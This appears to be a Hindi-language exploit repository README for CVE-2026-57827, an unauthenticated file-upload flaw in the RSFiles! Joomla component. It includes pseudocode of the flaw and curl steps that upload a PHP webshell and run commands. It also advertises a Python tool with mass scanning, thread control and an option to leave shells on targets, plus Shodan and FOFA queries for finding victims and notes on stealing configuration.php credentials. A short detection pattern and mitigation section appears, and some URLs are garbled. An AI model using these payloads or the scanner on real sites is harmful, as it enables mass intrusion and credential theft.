candisexterior171/cve-2026-57827RSFiles! Joomla घटक में अप्रमाणित रिमोट कोड निष्पादन भेद्यता को मनमाने फ़ाइल अपलोड के माध्यम से प्रदर्शित करें।
CVE-2026-57827 RSFiles! (com_rsfiles) में एक गंभीर-स्तर (CVSS 9.8) का अनऑथेंटिकेटेड मनमाना फ़ाइल अपलोड भेद्यता है, जो Joomla के लिए एक व्यापक रूप से उपयोग किया जाने वाला फ़ाइल-मैनेजर और डाउनलोड कंपोनेंट है, संस्करण < 1.17.12 में।
यह भेद्यता स्प्लिट-कंट्रोलर डिज़ाइन की खामी का फ़ायदा उठाती है: RSFiles! अपने अपलोड को दो फ्रंटएंड टास्क में विभाजित करता है — एक प्री-फ़्लाइट जाँच (अनुमति गेट + एक्सटेंशन अनुमति-सूची) और एक राइट मेथड (फ़ाइल को डिस्क पर सहेजता है)। राइट मेथड को सीधे कॉल किया जा सकता है, जिससे प्री-फ़्लाइट जाँच पूरी तरह बायपास हो जाती है। कोई प्रमाणीकरण नहीं, कोई CSRF टोकन आवश्यक नहीं।
| संस्करण | स्थिति |
|---|---|
| < 1.17.12 | भेद्य |
| 1.17.12+ | पैच किया गया |
खोजकर्ता: Phil Taylor, mySites.guru (10 जुलाई, 2026) विक्रेता: RSJoomla (rsjoomla.com) कंपोनेंट: com_rsfiles
RSFiles! अपने अपलोड को /components/com_rsfiles/controllers/rsfiles.php में दो अलग-अलग फ्रंटएंड टास्क में विभाजित करता है:
// Task 1 — Pre-flight check (task=rsfiles.checkupload) — GUARDED
// Holds the permission gate (can this user upload?) and the extension
// allow-list (images, text, PDFs by default). This method decides yes
// or no. It writes nothing.
function checkupload() {
if (!$user->authorise('rsfiles.upload')) return false;
$allowed = ['jpg','png','gif','txt','pdf'];
if (!in_array($ext, $allowed)) return false;
return true;
}
// Task 2 — Write method (task=rsfiles.upload) — UNGUARDED (the vulnerability)
// Receives the file and saves to disk. NO permission check.
// NO file-type check. Reads filename straight from the request
// and hands the upload to Joomla's JFile::upload(), which
// accepts any file type unless told otherwise.
function upload() {
$file = $input->files->get('file');
// No permission check
// No extension check
// JFile::upload() accepts anything by default
JFile::upload($file['tmp_name'], $dest . $file['name']);
// File saved to /downloads/ (web root, .htaccess OFF by default)
}
&task=rsfiles.upload के माध्यम से किसी भी टास्क को सीधे कॉल करने की अनुमति देता है, जिससे प्री-फ़्लाइट जाँच पूरी तरह से छूट जाती है।JFile::upload()) को पास करता है, जो डिफ़ॉल्ट रूप से किसी भी फ़ाइल प्रकार को स्वीकार करता है।.htaccess जो वहाँ PHP निष्पादन को रोकता है, एक ऑप्ट-इन एडमिन सेटिंग है जो डिफ़ॉल्ट रूप से बंद है।1. Attacker crafts PHP webshell (plain PHP, no polyglot needed)
2. POST /index.php?option=com_rsfiles&task=rsfiles.upload
file=<shell.php> (multipart, PHP payload)
folder=&overwrite=1
3. Joomla frontend controller dispatches to rsfiles.upload()
→ Skips rsfiles.checkupload (pre-flight) entirely
→ No permission check → No CSRF token check → No file-type check
→ JFile::upload() accepts any file type
4. File saved to /downloads/{shell_name}.php (web root)
.htaccess protection is opt-in, OFF by default
5. GET /downloads/{shell_name}.php?t=TOKEN&c=id
6. PHP executes → RCE as www-data
| फ़ाइल | उद्देश्य |
|---|---|
/components/com_rsfiles/controllers/rsfiles.php | कंट्रोलर जिसमें भेद्य upload() और checkupload() कार्य हैं |
/components/com_rsfiles/views/upload/tmpl/upload.php | फ्रंटएंड अपलोड फ़ॉर्म टेम्पलेट (पुष्टि: name="file", task=rsfiles.upload) |
/downloads/ | वेब रूट में डिफ़ॉल्ट डाउनलोड फ़ोल्डर (.htaccess सुरक्षा डिफ़ॉल्ट रूप से बंद) |
/briefcase/ | ब्रीफ़केस फ़ोल्डर (यह भी लिखने योग्य) |
Look for POST requests to:
index.php?option=com_rsfiles&task=rsfiles.upload
that are NOT preceded by requests to:
index.php?option=com_rsfiles&task=rsfiles.checkupload
सुरक्षा जाँचें (अनुमति गेट + एक्सटेंशन अनुमति-सूची) उस विधि से एक अलग प्री-फ़्लाइट चरण हैं जो वास्तव में फ़ाइल लिखती है। केवल पहली जाँच में ही सुरक्षा जाँचें होती हैं। दूसरी — जो डिस्क पर लिखती है — को URL में सही task पैरामीटर बनाकर सीधे कॉल किया जा सकता है, जिससे सभी सुरक्षा नियंत्रणों को बायपास किया जा सकता है।
यह "जाँच और क्रियाएँ अलग-अलग स्थानों पर" एंटी-पैटर्न का एक पाठ्यपुस्तक उदाहरण है: गार्ड और वह ऑपरेशन जिसे उसे सुरक्षित रखना चाहिए, एक-दूसरे से अलग हैं, और एक हमलावर गार्ड से गुज़रे बिना ऑपरेशन तक पहुँच सकता है।
git clone https://candisexterior171.github.io
cd CVE-2026-57827
pip install requests
# Single target
python cve_2026_57827.py -t target.com
# Mass scan
python cve_2026_57827.py -f targets.txt -o shells.txt
# Debug mode, leave shells on target
python cve_2026_57827.py -t target.com --debug --no-cleanup
-t, --target Single target (domain or IP)
-f, --file Target list, one per line
-o, --output Save RCE URLs to file
--threads Concurrent workers (default: 30)
--no-cleanup Leave shells on target
--debug Show every HTTP request
-v, --verbose Verbose output
$ python cve_2026_57827.py -t joomla-site.com
RSFiles! Joomla Component | CVE-2026-57827 | CVSS 9.8
Host : joomla-site.com
RSFiles! : YES v1.17.11
Upload : YES
RCE : YES
Shell : https://candisexterior171.github.io
Output : uid=33(www-data) gid=33(www-data) groups=33(www-data)
Time : 3.8s
चरण 1 — शेल अपलोड करें
curl -X POST 'https://candisexterior171.github.io' \
-F '[email protected]' \
-F 'folder=' \
-F 'overwrite=1'
चरण 2 — शेल तक पहुँचें
curl 'https://candisexterior171.github.io'
चरण 3 — कमांड निष्पादित करें
curl 'https://candisexterior171.github.io;hostname;uname -a'
शमन (यदि अपडेट संभव नहीं है)
# Delete the vulnerable controller file (renders RSFiles! unusable but secure)
rm /path/to/joomla/components/com_rsfiles/controllers/rsfiles.php
# Or enable .htaccess protection:
# RSFiles admin → Settings → Files → tick "Secure download folder" + "Secure briefcase folder"
FOFA: body="com_rsfiles" || body="RSFiles"
Shodan: http.html:"com_rsfiles"
सफल शोषण से वेब सर्वर उपयोगकर्ता के रूप में रिमोट कोड निष्पादन प्राप्त होता है:
configuration.php निकालें → डेटाबेस क्रेडेंशियल, SMTP रहस्यकिसी भी चरण में साइट पर किसी खाते की आवश्यकता नहीं है। अनाम, अप्रमाणित, रिमोट।